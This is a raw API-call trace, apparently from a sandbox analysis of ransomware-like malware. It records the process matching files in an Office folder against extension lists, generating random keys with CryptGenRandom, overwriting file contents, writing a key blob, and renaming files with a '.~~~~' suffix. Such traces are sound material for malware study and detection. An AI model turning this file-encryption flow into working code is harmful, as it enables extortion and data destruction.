	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".pst") returned 0x0
	[0137.220] lstrlenW (lpString=".dbv") returned 4
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".dbv") returned 0x0
	[0137.220] lstrlenW (lpString=".SDF") returned 4
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".SDF") returned 0x0
	[0137.220] lstrlenW (lpString=".dtxs") returned 5
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".dtxs") returned 0x0
	[0137.220] lstrlenW (lpString=".db3") returned 4
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".db3") returned 0x0
	[0137.220] lstrlenW (lpString=".OST") returned 4
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".OST") returned 0x0
	[0137.220] lstrlenW (lpString=".dbx") returned 4
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".dbx") returned 0x0
	[0137.220] lstrlenW (lpString=".DB3") returned 4
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".DB3") returned 0x0
	[0137.220] lstrlenW (lpString=".DAT") returned 4
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".DAT") returned 0x0
	[0137.220] lstrlenW (lpString=".VHDX") returned 5
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".VHDX") returned 0x0
	[0137.220] lstrlenW (lpString=".ndf") returned 4
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".ndf") returned 0x0
	[0137.221] lstrlenW (lpString=".DB") returned 3
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".DB") returned 0x0
	[0137.221] lstrlenW (lpString=".sql") returned 4
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".sql") returned 0x0
	[0137.221] lstrlenW (lpString=".MYD") returned 4
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".MYD") returned 0x0
	[0137.221] lstrlenW (lpString=".DBT") returned 4
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".DBT") returned 0x0
	[0137.221] lstrlenW (lpString=".ACCDB") returned 6
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".ACCDB") returned 0x0
	[0137.221] lstrlenW (lpString=".fdb") returned 4
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".fdb") returned 0x0
	[0137.221] lstrlenW (lpString=".bak") returned 4
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".bak") returned 0x0
	[0137.221] lstrlenW (lpString=".myd") returned 4
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".myd") returned 0x0
	[0137.221] lstrlenW (lpString=".DTXS") returned 5
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".DTXS") returned 0x0
	[0137.221] lstrlenW (lpString=".ckp") returned 4
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".ckp") returned 0x0
	[0137.221] lstrlenW (lpString=".dbt") returned 4
	[0137.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".dbt") returned 0x0
	[0137.222] lstrlenW (lpString=".db") returned 3
	[0137.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".db") returned 0x0
	[0137.222] lstrlenW (lpString=".TXT") returned 4
	[0137.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".TXT") returned 0x0
	[0137.222] lstrlenW (lpString=".MDF") returned 4
	[0137.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".MDF") returned 0x0
	[0137.222] lstrlenW (lpString=".bdb") returned 4
	[0137.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".bdb") returned 0x0
	[0137.222] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0137.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0137.222] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394750) returned 1
	[0137.223] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0137.223] CryptReleaseContext (hProv=0x394750, dwFlags=0x0) returned 1
	[0137.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0137.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0137.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0137.224] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25721392494) returned 1
	[0137.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbb3b1ef0, dwHighDateTime=0x1d60e1e)) 
	[0137.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0137.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0137.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0137.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825630
	[0137.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825630 | out: hHeap=0x300000) returned 1
	[0137.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce578
	[0137.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5ff0
	[0137.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce578 | out: hHeap=0x300000) returned 1
	[0137.225] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0137.225] GetLastError () returned 0x0
	[0137.225] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0137.225] GetLastError () returned 0x0
	[0137.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffb200, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.228] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x4e00, lpOverlapped=0x0) returned 1
	[0137.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.228] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.228] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.228] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.229] CloseHandle (hObject=0x114) returned 1
	[0137.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5ff0
	[0137.229] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc.~~~~")) returned 1
	[0137.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5ff0 | out: hHeap=0x300000) returned 1
	[0137.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0137.232] GetLastError () returned 0x0
	[0137.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".scr") returned 0x0
	[0137.232] lstrlenW (lpString=".cmd") returned 4
	[0137.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".cmd") returned 0x0
	[0137.232] lstrlenW (lpString=".dll") returned 4
	[0137.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".dll") returned 0x0
	[0137.232] lstrlenW (lpString=".bat") returned 4
	[0137.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".bat") returned 0x0
	[0137.232] lstrlenW (lpString=".cpl") returned 4
	[0137.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".cpl") returned 0x0
	[0137.232] lstrlenW (lpString=".sys") returned 4
	[0137.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".sys") returned 0x0
	[0137.232] lstrlenW (lpString=".msc") returned 4
	[0137.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".msc") returned 0x0
	[0137.232] lstrlenW (lpString=".com") returned 4
	[0137.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".com") returned 0x0
	[0137.232] lstrlenW (lpString=".lnk") returned 4
	[0137.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".lnk") returned 0x0
	[0137.233] lstrlenW (lpString=".msp") returned 4
	[0137.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".msp") returned 0x0
	[0137.233] lstrlenW (lpString=".pif") returned 4
	[0137.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".pif") returned 0x0
	[0137.233] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch="msp\r\n.pif") returned 0x0
	[0137.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0137.235] lstrlenW (lpString=".sqb") returned 4
	[0137.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".sqb") returned 0x0
	[0137.235] lstrlenW (lpString=".ost") returned 4
	[0137.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".ost") returned 0x0
	[0137.235] lstrlenW (lpString=".txt") returned 4
	[0137.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".txt") returned 0x0
	[0137.235] lstrlenW (lpString=".mdt") returned 4
	[0137.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".mdt") returned 0x0
	[0137.235] lstrlenW (lpString=".BDB") returned 4
	[0137.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".BDB") returned 0x0
	[0137.235] lstrlenW (lpString=".eql") returned 4
	[0137.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".eql") returned 0x0
	[0137.235] lstrlenW (lpString=".DBF") returned 4
	[0137.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".DBF") returned 0x0
	[0137.236] lstrlenW (lpString=".EQL") returned 4
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".EQL") returned 0x0
	[0137.236] lstrlenW (lpString=".FDB") returned 4
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".FDB") returned 0x0
	[0137.236] lstrlenW (lpString=".EDB") returned 4
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".EDB") returned 0x0
	[0137.236] lstrlenW (lpString=".DACPAC") returned 7
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".DACPAC") returned 0x0
	[0137.236] lstrlenW (lpString=".VHD") returned 4
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".VHD") returned 0x0
	[0137.236] lstrlenW (lpString=".DBV") returned 4
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".DBV") returned 0x0
	[0137.236] lstrlenW (lpString=".dacpac") returned 7
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".dacpac") returned 0x0
	[0137.236] lstrlenW (lpString=".sdf") returned 4
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".sdf") returned 0x0
	[0137.236] lstrlenW (lpString=".accdb") returned 6
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".accdb") returned 0x0
	[0137.236] lstrlenW (lpString=".DBX") returned 4
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".DBX") returned 0x0
	[0137.236] lstrlenW (lpString=".MDT") returned 4
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".MDT") returned 0x0
	[0137.236] lstrlenW (lpString=".SQB") returned 4
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".SQB") returned 0x0
	[0137.236] lstrlenW (lpString=".vhd") returned 4
	[0137.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".vhd") returned 0x0
	[0137.236] lstrlenW (lpString=".bac") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".bac") returned 0x0
	[0137.237] lstrlenW (lpString=".mdf") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".mdf") returned 0x0
	[0137.237] lstrlenW (lpString=".BAK") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".BAK") returned 0x0
	[0137.237] lstrlenW (lpString=".BAC") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".BAC") returned 0x0
	[0137.237] lstrlenW (lpString=".dbs") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".dbs") returned 0x0
	[0137.237] lstrlenW (lpString=".vhdx") returned 5
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".vhdx") returned 0x0
	[0137.237] lstrlenW (lpString=".NDF") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".NDF") returned 0x0
	[0137.237] lstrlenW (lpString=".dat") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".dat") returned 0x0
	[0137.237] lstrlenW (lpString=".DBS") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".DBS") returned 0x0
	[0137.237] lstrlenW (lpString=".CKP") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".CKP") returned 0x0
	[0137.237] lstrlenW (lpString=".edb") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".edb") returned 0x0
	[0137.237] lstrlenW (lpString=".PST") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".PST") returned 0x0
	[0137.237] lstrlenW (lpString=".dbf") returned 4
	[0137.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".dbf") returned 0x0
	[0137.237] lstrlenW (lpString=".SQL") returned 4
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".SQL") returned 0x0
	[0137.238] lstrlenW (lpString=".pst") returned 4
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".pst") returned 0x0
	[0137.238] lstrlenW (lpString=".dbv") returned 4
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".dbv") returned 0x0
	[0137.238] lstrlenW (lpString=".SDF") returned 4
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".SDF") returned 0x0
	[0137.238] lstrlenW (lpString=".dtxs") returned 5
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".dtxs") returned 0x0
	[0137.238] lstrlenW (lpString=".db3") returned 4
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".db3") returned 0x0
	[0137.238] lstrlenW (lpString=".OST") returned 4
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".OST") returned 0x0
	[0137.238] lstrlenW (lpString=".dbx") returned 4
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".dbx") returned 0x0
	[0137.238] lstrlenW (lpString=".DB3") returned 4
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".DB3") returned 0x0
	[0137.238] lstrlenW (lpString=".DAT") returned 4
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".DAT") returned 0x0
	[0137.238] lstrlenW (lpString=".VHDX") returned 5
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".VHDX") returned 0x0
	[0137.238] lstrlenW (lpString=".ndf") returned 4
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".ndf") returned 0x0
	[0137.238] lstrlenW (lpString=".DB") returned 3
	[0137.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".DB") returned 0x0
	[0137.238] lstrlenW (lpString=".sql") returned 4
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".sql") returned 0x0
	[0137.239] lstrlenW (lpString=".MYD") returned 4
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".MYD") returned 0x0
	[0137.239] lstrlenW (lpString=".DBT") returned 4
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".DBT") returned 0x0
	[0137.239] lstrlenW (lpString=".ACCDB") returned 6
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".ACCDB") returned 0x0
	[0137.239] lstrlenW (lpString=".fdb") returned 4
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".fdb") returned 0x0
	[0137.239] lstrlenW (lpString=".bak") returned 4
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".bak") returned 0x0
	[0137.239] lstrlenW (lpString=".myd") returned 4
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".myd") returned 0x0
	[0137.239] lstrlenW (lpString=".DTXS") returned 5
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".DTXS") returned 0x0
	[0137.239] lstrlenW (lpString=".ckp") returned 4
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".ckp") returned 0x0
	[0137.239] lstrlenW (lpString=".dbt") returned 4
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".dbt") returned 0x0
	[0137.239] lstrlenW (lpString=".db") returned 3
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".db") returned 0x0
	[0137.239] lstrlenW (lpString=".TXT") returned 4
	[0137.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".TXT") returned 0x0
	[0137.240] lstrlenW (lpString=".MDF") returned 4
	[0137.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".MDF") returned 0x0
	[0137.240] lstrlenW (lpString=".bdb") returned 4
	[0137.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".bdb") returned 0x0
	[0137.240] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0137.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0137.240] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394750) returned 1
	[0137.241] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0137.241] CryptReleaseContext (hProv=0x394750, dwFlags=0x0) returned 1
